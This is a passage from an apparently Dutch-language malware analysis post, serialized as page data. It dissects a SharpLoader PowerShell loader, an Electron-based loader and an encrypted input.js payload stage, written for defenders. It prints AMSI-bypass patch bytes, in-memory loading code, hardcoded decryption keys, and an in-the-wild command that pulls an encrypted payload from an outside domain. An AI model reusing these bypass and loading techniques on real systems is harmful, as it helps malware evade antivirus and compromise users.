overeen met de volgende instructies:",[604,2137,2138,2147],{},[607,2139,2140,2143,2144],{},[551,2141,2142],{},"mov eax, 0x80070057"," → zet de returncode op de Windows-foutcode ",[551,2145,2146],{},"E_INVALIDARG",[607,2148,2149,2152],{},[551,2150,2151],{},"ret"," → springt onmiddellijk terug uit de functie",[533,2154,2155,2156,2158],{},"Hierdoor faalt ",[551,2157,2030],{}," stil en geeft het een niet-detectieresultaat terug, waarmee de AMSI-controles worden uitgeschakeld. De malware kan nu scripts of .NET-code uitvoeren die anders antivirus-alarmen zouden triggeren.",[533,2160,2161],{},"Op een 32-bits systeem wordt een andere patch toegepast:",[588,2163,2165],{"className":2049,"code":2164,"language":2051,"meta":594,"style":594},"static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18\n",[551,2166,2167],{"__ignoreMap":594},[1681,2168,2169],{"class":1683,"line":1684},[1681,2170,2164],{},[533,2172,2173],{},"Het doel is hetzelfde, namelijk een \"clean\" resultaat forceren, maar aangepast aan de x86 calling convention.",[533,2175,2176,2177,620,2180,2183,2184,2187],{},"Door ruwe P/Invoke-aanroepen zoals ",[551,2178,2179],{},"LoadLibrary",[551,2181,2182],{},"GetProcAddress"," en ",[551,2185,2186],{},"VirtualProtect"," te gebruiken, kan het patchen dynamisch gebeuren zonder high-level API's aan te roepen die door EDR-tools gemonitord worden. Deze methode is compact, effectief en laat minimale forensische artefacten achter.",[533,2189,2190,2191,2194],{},"Samengevat is deze AMSI-bypasstechniek een ",[540,2192,2193],{},"low-level, directe geheugenaanval op de antivirus-interface",", uitgevoerd in milliseconden tijdens runtime. Het is een sterk voorbeeld van waarom gedragsmonitoring en geheugeninspectie essentieel zijn in moderne endpointverdediging.",[715,2196,2198],{"id":2197},"_43-verwerking-van-de-payload-in-fase-2","4.3 Verwerking van de payload in fase 2",[533,2200,721],{},[533,2202,2203,2204,2207],{},"Nadat de AMSI-bypass is afgerond, haalt de loader de payload voor de tweede fase op en bereidt deze voor. Die payload zit niet in de loader zelf, maar wordt ofwel van een externe server gehaald ofwel van schijf gelezen, afhankelijk van hoe de loader via de parameter ",[551,2205,2206],{},"$location"," wordt aangeroepen.",[533,2209,2210,2211,2214,2215,2218,2219,2222,2223,2226,2227,2230],{},"Begint de locatie met ",[551,2212,2213],{},"http",", dan wordt die als URL geïnterpreteerd en gebruikt de loader ",[551,2216,2217],{},"Get_Stage2()"," om de payload via ",[551,2220,2221],{},"HttpWebRequest"," te downloaden. Bij een lokaal pad leest ",[551,2224,2225],{},"Get_Stage2disk()"," de inhoud direct uit het bestandssysteem. In beide gevallen is de verwachte bestandsinhoud een blob die ",[540,2228,2229],{},"Base64-encoded, GZip-gecomprimeerd en AES-versleuteld"," is.",[533,2232,2233,2234,1174],{},"De loader doorloopt vervolgens volledig in het geheugen een ",[540,2235,2236],{},"pipeline van vier fasen voor decodering en decryptie",[2081,2238,2239,2245,2255,2265],{},[607,2240,2241,2244],{},[540,2242,2243],{},"Base64-decodering",": zet de gecodeerde string om in ruwe bytes. Deze stap is bedoeld om de werkelijke binaire inhoud te verbergen voor tools voor statische inspectie en voorkomt eenvoudige pattern matching.",[607,2246,2247,2250,2251,2254],{},[540,2248,2249],{},"GZip-decompressie",": de gedecodeerde bytes gaan naar een ",[551,2252,2253],{},"GZipStream",", die de payload decomprimeert. Compressie verkleint de bestandsgrootte en voegt nog een laag obfuscation toe.",[607,2256,2257,2260,2261,2264],{},[540,2258,2259],{},"AES-decryptie",": de gecomprimeerde bytes worden ontsleuteld met AES (Rijndael) in CBC-modus. De key wordt tijdens runtime afgeleid van het door de gebruiker opgegeven wachtwoord met SHA-256-hashing in combinatie met PBKDF2 (",[551,2262,2263],{},"Rfc2898DeriveBytes",") en een statische salt.",[607,2266,2267,2270],{},[540,2268,2269],{},"Salt verwijderen",": het ontsleutelde resultaat bevat nog een salt-prefix met vaste lengte (4 bytes). Die bytes worden handmatig verwijderd om de schone binaire blob te verkrijgen die een geldige .NET-assembly vormt.",[533,2272,2273],{},"De decryptie-pipeline wordt zo uitgevoerd:",[588,2275,2277],{"className":2049,"code":2276,"language":2051,"meta":594,"style":594},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\nbyte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[551,2278,2279,2284],{"__ignoreMap":594},[1681,2280,2281],{"class":1683,"line":1684},[1681,2282,2283],{},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\n",[1681,2285,2286],{"class":1683,"line":2061},[1681,2287,2288],{},"byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[533,2290,2291,2294],{},[551,2292,2293],{},"AES_Decrypt()"," is hier een eigen functie die het Rijndael-algoritme omhult, geconfigureerd met een 256-bits key en een 128-bits IV (initialisatievector), beide afgeleid van het wachtwoord.",[533,2296,2297],{},[540,2298,2299],{},"Belangrijke observaties over het ontwerp:",[604,2301,2302,2305,2308],{},[607,2303,2304],{},"Het gebruik van AES-CBC met PBKDF2 maakt brute-forcen van het wachtwoord verre van triviaal.",[607,2306,2307],{},"Omdat de decryptie in het geheugen gebeurt, worden er nooit tussenresultaten naar schijf geschreven, wat forensische artefacten beperkt.",[607,2309,2310],{},"Bij een verkeerd wachtwoord faalt de decryptie stil of levert het ongeldige data op, wat kan leiden tot mislukte uitvoering of moeilijk te traceren excepties.",[533,2312,2313],{},"Samengevat legt deze aanpak met meerdere fasen de lat aanzienlijk hoger voor zowel signature- als heuristiekgebaseerde statische detectie. Zonder live uitvoering of diepgaande inspectie van het loader-gedrag zullen verdedigers de ingebedde payload nauwelijks blootleggen zonder ook het wachtwoord en de exacte decodeerlogica te kennen.",[715,2315,2317],{"id":2316},"_44-dynamisch-laden-van-assemblies","4.4 Dynamisch laden van assemblies",[533,2319,721],{},[533,2321,2322],{},"Zodra de payload van de tweede fase succesvol is ontsleuteld, vormt de resulterende byte-array een geldige .NET-assembly. In plaats van die assembly naar schijf te schrijven, een gangbare indicator voor antivirus- of EDR-systemen, voert SharpLoader deze direct in het geheugen uit met reflectie:",[588,2324,2326],{"className":2049,"code":2325,"language":2051,"meta":594,"style":594},"Assembly a = Assembly.Load(bin);\na.EntryPoint.Invoke(null, new object[] { commands });\n",[551,2327,2328,2333],{"__ignoreMap":594},[1681,2329,2330],{"class":1683,"line":1684},[1681,2331,2332],{},"Assembly a = Assembly.Load(bin);\n",[1681,2334,2335],{"class":1683,"line":2061},[1681,2336,2337],{},"a.EntryPoint.Invoke(null, new object[] { commands });\n",[533,2339,2340,2341,2344],{},"Deze techniek heet ",[540,2342,2343],{},"fileless execution",". Die is sterk evasief omdat het:",[604,2346,2347,2350,2353],{},[607,2348,2349],{},"de schijf niet aanraakt en dus geen bestandsgebaseerde IOC's (indicators of compromise) achterlaat",[607,2351,2352],{},"klassieke forensische acquisitie bemoeilijkt, omdat er geen binary op schijf wordt opgeslagen",[607,2354,2355],{},"statische signature-detectie ontwijkt, aangezien AV-engines vaak op het scannen van bestanden leunen",[533,2357,2358,2359,2362,2363,2366],{},"Is het ",[551,2360,2361],{},"EntryPoint"," niet ",[551,2364,2365],{},"static",", dan bevat de loader een fallback-logica:",[588,2368,2370],{"className":2049,"code":2369,"language":2051,"meta":594,"style":594},"MethodInfo method = a.EntryPoint;\nif (method != null)\n{\n    object o = a.CreateInstance(method.Name);\n    method.Invoke(o, null);\n}\n",[551,2371,2372,2377,2382,2387,2392,2398],{"__ignoreMap":594},[1681,2373,2374],{"class":1683,"line":1684},[1681,2375,2376],{},"MethodInfo method = a.EntryPoint;\n",[1681,2378,2379],{"class":1683,"line":2061},[1681,2380,2381],{},"if (method != null)\n",[1681,2383,2384],{"class":1683,"line":2067},[1681,2385,2386],{},"{\n",[1681,2388,2389],{"class":1683,"line":2073},[1681,2390,2391],{},"    object o = a.CreateInstance(method.Name);\n",[1681,2393,2395],{"class":1683,"line":2394},5,[1681,2396,2397],{},"    method.Invoke(o, null);\n",[1681,2399,2401],{"class":1683,"line":2400},6,[1681,2402,2403],{},"}\n",[533,2405,2406,2407,2410],{},"Dat zorgt voor compatibiliteit met assemblies die een geïnstantieerd object nodig hebben om uit te voeren (bijvoorbeeld ",[551,2408,2409],{},"public int Main()"," binnen een class-instantie). De code maakt dynamisch een instantie van de class aan en roept daarna de entrypoint-methode aan.",[533,2412,2413],{},"In combinatie met de AMSI-bypass en de decryptie in het geheugen levert dit mechanisme de uiteindelijke payload op een onopvallende, volledig fileless manier aan uitvoering, een kenmerk van moderne, evasieve malware.",[715,2415,2417],{"id":2416},"_45-command-line-parameters-en-flexibiliteit","4.5 Command-line-parameters en flexibiliteit",[533,2419,721],{},[533,2421,2422,2423,2425],{},"De PowerShell-functie ",[551,2424,1890],{}," is ontworpen als flexibele wrapper voor willekeurige .NET-payloads. Ze ondersteunt dynamische invoer van zowel de locatie van de payload als de argumenten, waardoor één loader-instantie hergebruikt kan worden over meerdere operaties of campagnes.",[533,2427,2428],{},[540,2429,2430],{},"Ondersteunde parameters:",[604,2432,2433,2439,2445,2465],{},[607,2434,2435,2438],{},[551,2436,2437],{},"-location"," (verplicht): geeft een URL of een lokaal bestandspad naar de versleutelde payload van fase twee.",[607,2440,2441,2444],{},[551,2442,2443],{},"-password"," (verplicht): wordt gebruikt om de AES-decryptiekey af te leiden.",[607,2446,2447,620,2450,620,2453,2456,2457,2460,2461,2464],{},[551,2448,2449],{},"-argument",[551,2451,2452],{},"-argument2",[551,2454,2455],{},"-argument3"," (optioneel): deze worden via reflectie direct doorgegeven aan de ",[551,2458,2459],{},"Main()","-methode van de ",[551,2462,2463],{},".NET","-assembly.",[607,2466,2467,2470],{},[551,2468,2469],{},"-noArgs",": start de uitvoering zonder parameters door te geven aan de payload van de tweede fase.",[533,2472,2473],{},"Intern worden de argumenten zo verzameld en doorgegeven:",[588,2475,2477],{"className":1675,"code":2476,"language":1677,"meta":594,"style":594},"object[] cmd = args.Skip(2).ToArray();\na.EntryPoint.Invoke(null, new object[] { cmd });\n",[551,2478,2479,2484],{"__ignoreMap":594},[1681,2480,2481],{"class":1683,"line":1684},[1681,2482,2483],{},"object[] cmd = args.Skip(2).ToArray();\n",[1681,2485,2486],{"class":1683,"line":2061},[1681,2487,2488],{},"a.EntryPoint.Invoke(null, new object[] { cmd });\n",[533,2490,2491],{},"Dat betekent dat de .NET-payload een signatuur moet hebben zoals:",[588,2493,2495],{"className":2049,"code":2494,"language":2051,"meta":594,"style":594},"static void Main(string[] args)\n",[551,2496,2497],{"__ignoreMap":594},[1681,2498,2499],{"class":1683,"line":1684},[1681,2500,2494],{},[533,2502,2503,2504,2506],{},"of via de fallback-logica netjes terugvalt op de variant ",[551,2505,2459],{}," zonder parameters. Dit gedrag stelt red teams of malware-auteurs in staat multifunctionele tweede fasen te bouwen die afhankelijk van de invoer verschillende operaties uitvoeren, bijvoorbeeld een implant starten, systeeminformatie verzamelen of C2-communicatie opzetten.",[533,2508,2509],{},"Zulke modulariteit en configureerbaarheid zijn kenmerkende eigenschappen van geavanceerde malware-frameworks en laten zien hoe scriptgebaseerde loaders zich kunnen gedragen als bijzonder adaptieve uitvoeringsomgevingen voor navolgende payloads.",[715,2511,2513],{"id":2512},"_46-voorbeeld-van-gebruik-in-de-praktijk","4.6 Voorbeeld van gebruik in de praktijk",[533,2515,721],{},[533,2517,2518],{},"Om de praktijkuitvoering van SharpLoader in een echte campagne te illustreren, kijk je naar de volgende aanroep die in het wild is gezien:",[588,2520,2522],{"className":1675,"code":2521,"language":1677,"meta":594,"style":594},"Invoke-SharpLoader -location \"https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc\" -password UwUFufu1 -noArgs\n",[551,2523,2524],{"__ignoreMap":594},[1681,2525,2526],{"class":1683,"line":1684},[1681,2527,2521],{},[533,2529,2530],{},"Dit voorbeeld laat de typische use case van SharpLoader zien:",[604,2532,2533,2547,2559,2569],{},[607,2534,2535,2538,2539,2542,2543,2546],{},[540,2536,2537],{},"Location-argument",": de URL wijst naar een externe server die ",[551,2540,2541],{},"calc.enc"," host, een verborgen payload voor de tweede fase. Het endpoint staat in een legitiem uitziende ",[551,2544,2545],{},".well-known","-directory, die vaak voor HTTPS-certificaatvalidatie wordt gebruikt, waardoor de URL opgaat in legitiem webverkeer.",[607,2548,2549,973,2552,2554,2555,2558],{},[540,2550,2551],{},"Kenmerken van de payload",[551,2553,2541],{}," is een ",[540,2556,2557],{},"drievoudig geobfusceerd bestand",", Base64-encoded, GZip-gecomprimeerd en AES-versleuteld. Deze obfuscation-pipeline zorgt dat de payload ondoorzichtig blijft voor de meeste detectiemechanismen, tenzij hij volledig in het geheugen wordt uitgevoerd en ontsleuteld.",[607,2560,2561,2564,2565,2568],{},[540,2562,2563],{},"Password-argument",": de string ",[551,2566,2567],{},"UwUFufu1"," wordt tijdens runtime gebruikt om de AES-key af te leiden via SHA-256 en PBKDF2. Zonder dit wachtwoord kan de payload niet ontsleuteld worden, waardoor offline analyse zonder context vrijwel onmogelijk is.",[607,2570,2571,2574,2575,2577],{},[540,2572,2573],{},"Geen aanvullende argumenten",": de switch ",[551,2576,2469],{}," geeft aan dat er geen command-line-parameters aan de ontsleutelde .NET-assembly worden doorgegeven, waardoor het standaard uitvoeringspad start.",[533,2579,2580,2581,2584],{},"Deze onopvallende aanroepketen vat de kern van SharpLoader samen: ",[540,2582,2583],{},"fileless, adaptieve en beveiligde levering van payloads"," via eenvoudige PowerShell-syntaxis met maximale obfuscation en evasie.",[715,2586,2588],{"id":2587},"_47-samenvatting","4.7 Samenvatting",[533,2590,721],{},[533,2592,2593,2594,2596],{},"Het construct ",[551,2595,1890],{}," illustreert een zeer verfijnde en evasieve techniek voor malware-staging die native systeemcomponenten, reflectie en cryptografie inzet om vrijwel volledig in het geheugen te werken.",[533,2598,2599],{},[540,2600,2601],{},"Belangrijkste punten:",[604,2603,2604,2613,2619,2625],{},[607,2605,2606,2609,2610,2612],{},[540,2607,2608],{},"AMSI omzeilen",": direct patchen van ",[551,2611,2030],{}," in het geheugen schakelt antivirus-inspectie uit zonder detecteerbare API's aan te roepen.",[607,2614,2615,2618],{},[540,2616,2617],{},"Beveiligde verwerking van payloads",": het ophalen van versleutelde en gecomprimeerde payloads voor fase twee waarborgt vertrouwelijkheid en voegt meerdere lagen evasie toe.",[607,2620,2621,2624],{},[540,2622,2623],{},"Uitvoering uitsluitend in het geheugen",": ontsleutelde payloads worden nooit naar schijf geschreven, waardoor detectie door klassieke bestandsgebaseerde scanners bijna onmogelijk is.",[607,2626,2627,2630],{},[540,2628,2629],{},"Modulaire en herbruikbare architectuur",": via PowerShell-parameters kan SharpLoader flexibel worden hergebruikt in campagnes met verschillende payloads en runtime-gedrag.",[528,2632,2634,2635,2637],{"id":2633},"_5-deep-dive-mainexe-op-electron-gebaseerde-malware-loader","5. Deep dive: ",[551,2636,578],{}," – op Electron gebaseerde malware-loader",[533,2639,535],{},[533,2641,2642,2643,2645,2646,2649,2650,2652,2653,2655],{},"Tijdens het reverse-engineeren werd duidelijk dat ",[551,2644,578],{},", dat door Microsoft Defender for Endpoint werd gemarkeerd, geen conventioneel binary was maar een ",[540,2647,2648],{},"op Electron gebaseerde malware-loader",". Het werd geleverd in een archief met de naam ",[551,2651,1823],{},", dat ",[551,2654,574],{}," tijdens runtime downloadde en uitpakte. Na het uitpakken leken de structuur en inhoud sterk op een typische Electron-applicatie.",[715,2657,2659],{"id":2658},"_51-de-electron-structuur-herkennen","5.1 De Electron-structuur herkennen",[533,2661,721],{},[533,2663,2664],{},"De uitgepakte map bevatte onder meer deze bestanden:",[604,2666,2667,2678,2686,2692],{},[607,2668,2669,620,2672,620,2675],{},[551,2670,2671],{},"chrome_100_percent.pak",[551,2673,2674],{},"v8_context_snapshot.bin",[551,2676,2677],{},"d3dcompiler_47.dll",[607,2679,2680,2183,2683],{},[551,2681,2682],{},"LICENSES.chromium",[551,2684,2685],{},"LICENSES.electron",[607,2687,2688,2689,2691],{},"Een groot ",[551,2690,578],{},"-binary (~150 MB)",[607,2693,2694,2695,1257,2697,2699,2700],{},"Een map ",[551,2696,1833],{},[551,2698,1047],{}," en een tweede binary ",[551,2701,2702],{},"elevate.exe",[533,2704,2705],{},[749,2706],{"alt":2707,"src":2708},"Gepackagede Windows 64-bits versie van de desktopapp","https://res.cloudinary.com/c4a8/image/upload/v1749796955/blog/pics/electron-app-windows-x64.png",[533,2710,2711,2712,2714],{},"Dit zijn allemaal sterke indicatoren van een Electron-app, die Chromium en Node.js gebruikt om op JavaScript gebaseerde desktopapplicaties te packagen. De aanwezigheid van ",[551,2713,2702],{},", een gesigneerd Microsoft-binary dat vaak wordt gebruikt om rechten te verhogen, wekte extra verdenking: het kan misbruikt worden om childprocessen met verhoogde rechten te starten.",[715,2716,2718],{"id":2717},"_52-uitpakken-en-statische-analyse-deep-dive","5.2 Uitpakken en statische analyse (deep dive)",[533,2720,721],{},[533,2722,2723,2724,2726,2727,2729,2730,2732,2733,2735,2736,2739],{},"In plaats van ",[551,2725,578],{}," uit te voeren koos ik voor statische analyse om geen live gedrag te triggeren. Mijn eerste vermoeden dat ",[551,2728,578],{}," met Electron was gebouwd, werd bevestigd door het bestand ",[551,2731,1047],{}," in de directory ",[551,2734,1833],{}," te vinden. In Electron-apps bevat dit archief alle kernlogica van de applicatie, zoals JavaScript-bestanden, configuratie (",[551,2737,2738],{},"package.json",") en assets, gebundeld in een eigen formaat voor performance en obfuscation.",[533,2741,2742,2743,2746,2747,2750],{},"Het ",[551,2744,2745],{},".asar","-archief is in essentie een read-only, high-performance container vergelijkbaar met ",[551,2748,2749],{},".zip",", maar geoptimaliseerd voor de runtime van Electron. Het is niet versleuteld, maar het bemoeilijkt de toegang tot code en maakt statische analyse lastiger zolang het niet is uitgepakt.",[533,2752,2753,2754,2757],{},"Om het uit te pakken gebruikte ik de officiële ",[551,2755,2756],{},"asar","-tool uit npm. De stappen waren:",[588,2759,2763],{"className":2760,"code":2761,"language":2762,"meta":594,"style":594},"language-bash shiki shiki-themes github-light github-dark","npm install -g asar\nasar extract app.asar extracted_app\n","bash",[551,2764,2765,2782],{"__ignoreMap":594},[1681,2766,2767,2771,2775,2779],{"class":1683,"line":1684},[1681,2768,2770],{"class":2769},"sScJk","npm",[1681,2772,2774],{"class":2773},"sZZnC"," install",[1681,2776,2778],{"class":2777},"sj4cs"," -g",[1681,2780,2781],{"class":2773}," asar\n",[1681,2783,2784,2786,2789,2792],{"class":1683,"line":2061},[1681,2785,2756],{"class":2769},[1681,2787,2788],{"class":2773}," extract",[1681,2790,2791],{"class":2773}," app.asar",[1681,2793,2794],{"class":2773}," extracted_app\n",[533,2796,2797,2798,2801],{},"Met bovenstaande commando's werd de inhoud in een werkmap (",[551,2799,2800],{},"extracted_app/",") uitgepakt, waarmee de eigenlijke JavaScript-applicatiecode zichtbaar werd. Daarin zat:",[604,2803,2804,2825,2833],{},[607,2805,2806,620,2809,620,2812,2815,2816,2818,2819,2821,2822,2824],{},[551,2807,2808],{},"jscryter.js",[551,2810,2811],{},"input.js",[551,2813,2814],{},"obf.js",": deze scripts vormen de malwarelogica. ",[551,2817,2808],{}," lijkt de levering van de payload te orkestreren, ",[551,2820,2811],{}," definieert configuratieconstanten of commandologica en ",[551,2823,2814],{}," is een zwaar geobfusceerd script dat vermoedelijk de kernlogica van de payload bevat.",[607,2826,2827,620,2829,2832],{},[551,2828,2738],{},[551,2830,2831],{},"package-lock.json",": definiëren de runtime-omgeving",[607,2834,2835,2838,2839,620,2842,620,2845],{},[551,2836,2837],{},"node_modules/",": bevat alle dependencies zoals ",[551,2840,2841],{},"axios",[551,2843,2844],{},"adm-zip",[551,2846,2847],{},"child_process",[533,2849,2850,2851,2853,2854,697],{},"De uitgepakte inhoud gaf volledig inzicht in de logica van de malware zonder uitvoering, wat essentieel was voor veilige reverse engineering. Deze stap bevestigde dat ",[551,2852,578],{}," puur diende als runtime-wrapper voor de kwaadaardige scripts in ",[551,2855,1047],{},[715,2857,2859],{"id":2858},"_53-wat-de-statische-analyse-opleverde","5.3. Wat de statische analyse opleverde",[533,2861,721],{},[533,2863,2864],{},"Door de code handmatig te inspecteren stelde ik vast dat de malwarelogica volledig op JavaScript is gebaseerd en binnen de Electron-runtime wordt uitgevoerd. De scripts waren gebouwd om:",[604,2866,2867,2874,2880,2883],{},[607,2868,2869,2870,2873],{},"een versleutelde payload (",[551,2871,2872],{},"pyth.zip",") van fallback-URL's te downloaden",[607,2875,2876,2877,2879],{},"het archief met ",[551,2878,2844],{}," uit te pakken",[607,2881,2882],{},"string replacement uit te voeren om specifieke credentials of wallet-adressen te injecteren",[607,2884,2885,2886,2888,2889,2183,2892,2894],{},"het resulterende Python-bestand (",[551,2887,582],{},") via ",[551,2890,2891],{},"child_process.exec()",[551,2893,553],{}," te starten",[533,2896,2897,2898,2903],{},"Cruciaal is dat de loader ook logica bevatte om ",[540,2899,2900,2902],{},[551,2901,574],{}," naar de AppData-directory van de gebruiker te kopiëren"," als het daar nog niet stond, waarmee persistence werd versterkt en de infectielus in stand bleef.",[528,2905,2907,2908,2910],{"id":2906},"_6-deep-dive-inputjs-de-versleutelde-javascript-payload-loader","6. Deep dive: ",[551,2909,2811],{}," – de versleutelde JavaScript-payload-loader",[533,2912,535],{},[533,2914,2915,2917],{},[551,2916,2811],{}," is een cruciaal component in de geanalyseerde malwareketen en fungeert als decryptie- en uitvoeringshub voor een versleutelde JavaScript-payload. Dit script verbergt zijn kernfunctionaliteit achter een sterke encryptielaag en laat zijn gedrag pas tijdens runtime zien.",[715,2919,2921],{"id":2920},"_61-werking-van-encryptie-en-decryptie","6.1 Werking van encryptie en decryptie",[533,2923,721],{},[533,2925,2926,2927,2929],{},"Op het eerste gezicht bevat ",[551,2928,2811],{}," heel weinig leesbare code. Het hoofddoel is echter een grote geobfusceerde JavaScript-blob die in het script zelf is opgeslagen te ontsleutelen en uit te voeren.",[862,2931,2933],{"id":2932},"_611-decryptielogica","6.1.1 Decryptielogica",[533,2935,868],{},[533,2937,2938,2939,2942],{},"Het script definieert een functie ",[551,2940,2941],{},"decrypt()"," die vier parameters aanneemt:",[604,2944,2945,2951,2957,2963],{},[607,2946,2947,2950],{},[551,2948,2949],{},"encdata",": de versleutelde, Base64-encoded data",[607,2952,2953,2956],{},[551,2954,2955],{},"masterkey",": een passphrase in plaintext",[607,2958,2959,2962],{},[551,2960,2961],{},"salt",": een cryptografische salt (Base64)",[607,2964,2965,2968],{},[551,2966,2967],{},"iv",": de initialisatievector voor de AES-decryptie (Base64)",[533,2970,2971,2972,2975],{},"Het decryptieproces is geïmplementeerd met de ingebouwde ",[551,2973,2974],{},"crypto","-module van Node.js. Het verloopt als volgt:",[2081,2977,2978,3089,3202],{},[607,2979,2980,2983,2984,3063],{},[540,2981,2982],{},"Key derivation:","\nHet script leidt een symmetrische key van 256 bits af met PBKDF2 (Password-Based Key Derivation Function 2):",[588,2985,2989],{"className":2986,"code":2987,"language":2988,"meta":594,"style":594},"language-js shiki shiki-themes github-light github-dark","const key = crypto.pbkdf2Sync(\n  masterkey,\n  Buffer.from(salt, \"base64\"),\n  100000,\n  32,\n  \"sha512\",\n);\n","js",[551,2990,2991,3013,3018,3035,3043,3050,3057],{"__ignoreMap":594},[1681,2992,2993,2997,3000,3003,3007,3010],{"class":1683,"line":1684},[1681,2994,2996],{"class":2995},"szBVR","const",[1681,2998,2999],{"class":2777}," key",[1681,3001,3002],{"class":2995}," =",[1681,3004,3006],{"class":3005},"sVt8B"," crypto.",[1681,3008,3009],{"class":2769},"pbkdf2Sync",[1681,3011,3012],{"class":3005},"(\n",[1681,3014,3015],{"class":1683,"line":2061},[1681,3016,3017],{"class":3005},"  masterkey,\n",[1681,3019,3020,3023,3026,3029,3032],{"class":1683,"line":2067},[1681,3021,3022],{"class":3005},"  Buffer.",[1681,3024,3025],{"class":2769},"from",[1681,3027,3028],{"class":3005},"(salt, ",[1681,3030,3031],{"class":2773},"\"base64\"",[1681,3033,3034],{"class":3005},"),\n",[1681,3036,3037,3040],{"class":1683,"line":2073},[1681,3038,3039],{"class":2777},"  100000",[1681,3041,3042],{"class":3005},",\n",[1681,3044,3045,3048],{"class":1683,"line":2394},[1681,3046,3047],{"class":2777},"  32",[1681,3049,3042],{"class":3005},[1681,3051,3052,3055],{"class":1683,"line":2400},[1681,3053,3054],{"class":2773},"  \"sha512\"",[1681,3056,3042],{"class":3005},[1681,3058,3060],{"class":1683,"line":3059},7,[1681,3061,3062],{"class":3005},");\n",[604,3064,3065,3071,3077,3083],{},[607,3066,3067,3070],{},[540,3068,3069],{},"Hashfunctie:"," SHA-512",[607,3072,3073,3076],{},[540,3074,3075],{},"Iteraties:"," 100.000",[607,3078,3079,3082],{},[540,3080,3081],{},"Keylengte:"," 32 bytes (256 bits)",[607,3084,3085,3088],{},[540,3086,3087],{},"Salt:"," aangeleverd als Base64-gedecodeerde invoer",[607,3090,3091,3094,3095,3145,3147,3148],{},[540,3092,3093],{},"AES-256-CBC-decryptie:","\nDe afgeleide key wordt vervolgens gebruikt om een AES-decipher-object aan te maken:",[588,3096,3098],{"className":2986,"code":3097,"language":2988,"meta":594,"style":594},"const decipher = crypto.createDecipheriv(\n  \"aes-256-cbc\",\n  key,\n  Buffer.from(iv, \"base64\"),\n);\n",[551,3099,3100,3116,3123,3128,3141],{"__ignoreMap":594},[1681,3101,3102,3104,3107,3109,3111,3114],{"class":1683,"line":1684},[1681,3103,2996],{"class":2995},[1681,3105,3106],{"class":2777}," decipher",[1681,3108,3002],{"class":2995},[1681,3110,3006],{"class":3005},[1681,3112,3113],{"class":2769},"createDecipheriv",[1681,3115,3012],{"class":3005},[1681,3117,3118,3121],{"class":1683,"line":2061},[1681,3119,3120],{"class":2773},"  \"aes-256-cbc\"",[1681,3122,3042],{"class":3005},[1681,3124,3125],{"class":1683,"line":2067},[1681,3126,3127],{"class":3005},"  key,\n",[1681,3129,3130,3132,3134,3137,3139],{"class":1683,"line":2073},[1681,3131,3022],{"class":3005},[1681,3133,3025],{"class":2769},[1681,3135,3136],{"class":3005},"(iv, ",[1681,3138,3031],{"class":2773},[1681,3140,3034],{"class":3005},[1681,3142,3143],{"class":1683,"line":2394},[1681,3144,3062],{"class":3005},[699,3146],{},"De versleutelde payload wordt ontsleuteld in de standaard CBC-modus (Cipher Block Chaining):",[588,3149,3151],{"className":2986,"code":3150,"language":2988,"meta":594,"style":594},"let decrypted = decipher.update(encdata, \"base64\", \"utf8\");\ndecrypted += decipher.final(\"utf8\");\n",[551,3152,3153,3182],{"__ignoreMap":594},[1681,3154,3155,3158,3161,3164,3167,3170,3173,3175,3177,3180],{"class":1683,"line":1684},[1681,3156,3157],{"class":2995},"let",[1681,3159,3160],{"class":3005}," decrypted ",[1681,3162,3163],{"class":2995},"=",[1681,3165,3166],{"class":3005}," decipher.",[1681,3168,3169],{"class":2769},"update",[1681,3171,3172],{"class":3005},"(encdata, ",[1681,3174,3031],{"class":2773},[1681,3176,620],{"class":3005},[1681,3178,3179],{"class":2773},"\"utf8\"",[1681,3181,3062],{"class":3005},[1681,3183,3184,3187,3190,3192,3195,3198,3200],{"class":1683,"line":2061},[1681,3185,3186],{"class":3005},"decrypted ",[1681,3188,3189],{"class":2995},"+=",[1681,3191,3166],{"class":3005},[1681,3193,3194],{"class":2769},"final",[1681,3196,3197],{"class":3005},"(",[1681,3199,3179],{"class":2773},[1681,3201,3062],{"class":3005},[607,3203,3204,3207,3208,3211,3212,3233,3235],{},[540,3205,3206],{},"Dynamische uitvoering:","\nDe ontsleutelde JavaScript-code wordt nooit naar schijf geschreven. In plaats daarvan wordt hij dynamisch in het geheugen uitgevoerd met de ",[551,3209,3210],{},"Function","-constructor:",[588,3213,3215],{"className":2986,"code":3214,"language":2988,"meta":594,"style":594},"new Function(\"require\", decrypted)(require);\n",[551,3216,3217],{"__ignoreMap":594},[1681,3218,3219,3222,3225,3227,3230],{"class":1683,"line":1684},[1681,3220,3221],{"class":2995},"new",[1681,3223,3224],{"class":2769}," Function",[1681,3226,3197],{"class":3005},[1681,3228,3229],{"class":2773},"\"require\"",[1681,3231,3232],{"class":3005},", decrypted)(require);\n",[699,3234],{},"Deze techniek maakt fileless execution mogelijk en verkleint de kans op detectie door klassieke antivirus-engines die op schijfgebaseerd scannen leunen.",[533,3237,3238],{},"Deze aanpak laat een gelaagde verdediging tegen reverse engineering zien door key derivation, sterke encryptie en dynamische uitvoering in het geheugen te combineren.",[533,3240,3241],{},[540,3242,3243],{},"Sleutelmateriaal en versleutelde data",[533,3245,3246],{},"Het script bevat de volgende hardcoded invoerwaarden:",[604,3248,3249,3255,3263,3271],{},[607,3250,3251,3254],{},[540,3252,3253],{},"Versleutelde data:"," een enorme Base64-encoded blob",[607,3256,3257,1267,3260],{},[540,3258,3259],{},"Master key:",[551,3261,3262],{},"9uNXNGt8/7kN7ZiEvy1OdYNpbcnzkERs",[607,3264,3265,1267,3267,3270],{},[540,3266,3087],{},[551,3268,3269],{},"maXtklzMEZRY9dbul/XPSw=="," (Base64-encoded)",[607,3272,3273,1267,3276,3270],{},[540,3274,3275],{},"IV:",[551,3277,3278],{},"HwK6sOz7FBbL+YsrOxtYUg==",[533,3280,3281,3282,3284],{},"Deze zijn allemaal direct in de broncode van ",[551,3283,2811],{}," ingebed.",[715,3286,3288],{"id":3287},"_62-gedrag-van-de-payload-na-decryptie","6.2 Gedrag van de payload na decryptie",[533,3290,721],{},[533,3292,3293],{},"Zodra de ingebedde payload is gedecrypteerd, blijkt het om een volwaardig JavaScript-programma te gaan dat de volgende 